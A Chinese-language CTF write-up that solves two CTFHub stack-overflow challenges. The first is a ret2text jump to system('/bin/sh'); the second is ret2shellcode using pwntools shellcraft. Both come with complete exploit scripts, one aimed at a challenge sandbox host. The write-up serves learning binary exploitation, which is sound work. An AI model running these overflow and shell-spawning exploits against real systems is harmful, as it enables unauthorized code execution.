CTFHub之pwn
分析
首先检查一下保护机制:
所有安全措施 CANARY/FORTIFY/NX/PIE 都关闭了,说明该题不需要复杂的绕过操作。接下来,把文件丢到IDA中,先看看 main 函数的源代码:
只是简单的输入和输出,并没看到跟 flag 相关的信息。继续看,发现还有个 secure
函数
函数中调用了 system('/bin/sh')
所以猜测获取 flag 是通过执行 system
获得 shell,然后再执行命令。
从 IDA 中可以看出,pwn 程序只有这两个用户函数,其他的都是库函数。因此答案就在这两个函数中。停下来想想我们已知的内容:
-
main 函数调用了
gets()
,且未限制长度,存在栈溢出,是解题的入口 -
secure 函数调用了
system('bin/sh')
,是解题的出口
main 函数的栈帧应该是这样的:
追踪过程
-
局部变量 s 是用户可以通过 gets() 输入的,只要达到特定的长度 L,就能覆盖掉黄色的
返回地址
。 -
让
返回地址
,也就是EIP
指向system('/bin/sh')
所在语句对应的内存地址就能获得shell
对此,需要获取两个关键值:
要填充的数据长度L: 要覆盖掉 EBP
system('/bin/sh') 调用语句的内存地址
第一步:利用反汇编,查看变量的位置,为 [rbp-0x70]。由于是64位系统,要覆盖掉ebp
,就要+8字节。因此 L = 0x70 + 8
详细步骤如下:
打开主函数的那一栏,按F5
反汇编成c语言,双击变量v4,跳转到对应的地址,如下:
第二步:还是用反汇编,获取到system函数的地址。由于要完整调用,所以取lea指令的位置:0x00000000004007b8
,也就是0x4007b8
详细步骤如下:
选中secure函数
在上面的边栏选中第一个IDA View-A
,如下:
光标移动到/bin/sh,即lea rdi command
,点击空格
一下,再点一次会跳回来,找到了system函数的地址0x00000000004007b8
,也就是0x4007b8
,如下:
至此,所需要找的变量和地址均已完成。
编写exp
python3的代码:
from pwn import *
host = 'challenge-1416976ff9c1cada.sandbox.ctfhub.com'
port = 36946
#host是网站地址,port是端口
#p = process("./pwn")
p = connect(host, port)
payload = bytes('A',encoding="utf8") * (0x70+8) + p64(0x4007b8)#类型不同不能拼接`
p.sendline(payload)
p.interactive()
结果
得到flag如下:
ret2shellcode
检查保护
64位程序,啥保护都没开
ida打开看看
很明显,输入点是read函数,buf长度只有0x10,而读入的长度是0x400,足以构造shellcode
注意:在buf后还有一个var_8,而后才是leave;ret
思路:
利用python生成shellcode存放到buf中,返回的时候地址劫持到buf上,在栈上直接进行(反正保护也没开),获得shell
exp
from pwn import*
context(log_level='debug',os='linux',arch='amd64')
#io=remote('47.98.148.7',26271)
io = process('/home/kali/文档/题目/pwn/BUUCTF/pwn')
#elf=ELF('/home/kali/文档/题目/pwn/BUUCTF/pwn')
junk=b'a'*(0x10+8)
shellcode=asm(shellcraft.sh())
buf_addr=io.recvuntil("]")
buf_addr=int(buf_addr[-15:-1],16)
shellcode_addr=buf_addr+0x18+8
payload=junk+p64(shellcode_addr)+shellcode
io.sendline(payload)
io.interactive()
2022/03/16